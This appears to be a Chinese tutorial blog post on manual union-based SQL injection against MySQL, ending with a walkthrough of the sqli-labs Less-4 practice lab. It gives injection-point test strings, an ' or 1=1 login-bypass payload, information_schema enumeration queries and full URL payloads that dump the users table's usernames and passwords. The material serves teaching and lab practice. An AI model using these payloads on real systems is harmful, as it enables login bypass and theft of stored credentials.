作者也在学习web安全,可能文章中或多或少存在一些错误内容。写些手工注入的文章,一方面能加深对这部分知识的印象,一方面也能大家互相学习。
有人可能问:数据库注入不是有很多非常强大的工具,如sqlmap,为什么还要去花些时间去学习手工注入。虽然使用sqlmap等注入工具能很轻松的对拖一个存在注入漏洞无安全狗的网站的数据库,但却无法知道注入的全过程,不方便后续写一些自动化测试的脚本,同时由于是工具不可避免的存在一些误报。
但手工注入也非常浪费时间,因此,在对手工注入有了认识后还是推荐使用sqlmap工具配合一些脚本来进行注入。
分享一个练习注入别人写的一个过关式的一个项目源码,枯燥的学习中增添点乐趣
Sqli-labs 项目地址—Github 获取: https://github.com/Audi-1/sqli-labs
联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。
(1) 常使用的一些mysql函数及环境变量
名称 | 功能 |
---|---|
version() | MySQL 版本 |
user() | 当前数据库用户名 |
database() | 当前数据库名 |
@@version_compile_os | 操作系统版本 |
@@datadir | 数据库路径 |
group_concat(str1,str2,…) | 只显示一行是用的,连接一个组的所有数据, 并以逗号分隔每一条数据 |
以上就是在union注入中较为常用的一些函数和环境变量
(2) 联合查询的语法
联合查询语法如下:
SELECT col1 .. FROM table [WHERE [条件1],..] UNION SELECT col1 .. FROM table [WHERE [条件1],..];
2条查询语句以union关键字连接起来,返回2条查询语句的并集
(3) 注入点存在判断语句
and 1=x –+
‘and 1=x –+
“and 1=x –+
)and 1=x –+
‘)and 1=x –+
“) and 1=x –+
根据union关键字前面那条查询语句WHERE条件中是如何闭合的来选择测试语句,x为常用1和2,如果1正常显示页面,2不正常显示页面,即存在注入点
举个例子:
#后台查询如果是
$uid = $_GET['uid'];
$sql = "SELECT * FROM users WHERE uid='$uid'";
#如果我们使用第一条测试语句, http://xxxx/new.php?uid=1 and 1=1 --+ 那么
$sql="SELECT * FROM users WHERE uid='1 and 1=1--+'";
#很明显会报错,因为少个'来闭合条件
#正确的我们应该是提交 http://xxxx/new.php?uid=1'and 1=1 --+
$sql="SELECT * FROM users WHERE uid='1' and 1=1 --+'";
#最后的那个'被--+注释掉了,因此能成功被数据库执行
(4) 万能密码
有时登录认证或许可能存在注入点,我们就能利用万能密码就行登录了
万能密码和测试语句很像
or 1=1 –+
’ or 1=1 –+
举个例子,有个网站登录认证的核心代码如下:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT id FROM users WHERE username='$username' AND password='$password'";
#id存在就登录成功,不存在就登录失败
#如上这认证代码我们就可以使用万能密码来无密码认证登录
#post提交数据: username=admin&password=' or 1=1 --+
$sql= "SELECT id FROM users WHERE username='admin' AND password='' or 1=1 --+'";
#由于AND优先级大于or,先执行条件条件username='admin' AND password='' 为false ,在 false or 1=1 有为true,就成功没正确输入密码绕过了认证
(5) information_schema数据库
information_schema数据库我们会用到三个数据表:schemata,tables,columns
schemata表中有字段叫schema_name,存放的数据是数据库中所有数据库的名称
tables表中有字段table_name(表名),table_schema(表所在的数据库名)
columns表中有字段column_name(字段名),table_name(字段所在的表)
如此注入流程就如下:
流程 | 语句 |
---|---|
获取数据库名 | select schema_name from information_schema.schemata |
获取表名 | select table_name from information_schema.tables where table_schema=’xxxxx’ |
获取列名 | select column_name from information_schema.columns where table_name=’xxxxx’ |
获取数据 | select xxx from xxx |
从报错所知,后台查询语句应该是SELECT .. FROM .. WHERE xx=(“”) ..这样形式的
看来猜测的不错
下面我们测试下是否存在注入点
看来注入点是存在的,在进行联合注入前,我们还有知道他前一个查询列的数目,因为联合查询前后2个查询字段数目要一致。可以使用order by对字段进行排序而知道他的字段数量
可以看到order by 3时是正常显示网页的,4时报错了,所以知道他查询了3个字段
现在可以继续联合查询了,我们先看看网页显示的内容对应的字段是哪几个
可以知道第一个字段是不显示的,我们就用后面2个字段显示我们需要的数据
先查询当前的数据库用户和数据库名称
可以看到数据库是security,登录数据库的用户是root。然后我们在对获得数据库中的表
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%20--+
但是就显示了一个表,可能是他使用limit 0,1来只获取一条数据,这是我们想看到后面的数据可以使用limit 1,1这样一条一条的看,也能使用group_concat函数来全部连接成一条数据
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%20--+
看到一个users表,表示对其感兴趣,因为注入的目的主要就是拿到后台的登录账户和密码,因此我们看看users表的字段
http://192.168.60.33/Less-4/?id=1%22%29%20and%201=2%20union%20select%201,2,group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name=%27users%27%20%20--+
就看到username,password了,最后一步就简单了,直接select 1,group_concat(username),group_concat(password) from users就能得到全部的数据了
就这几条语句我们就成功获得了数据库中的想要数据,可以注入的危险性是如此之高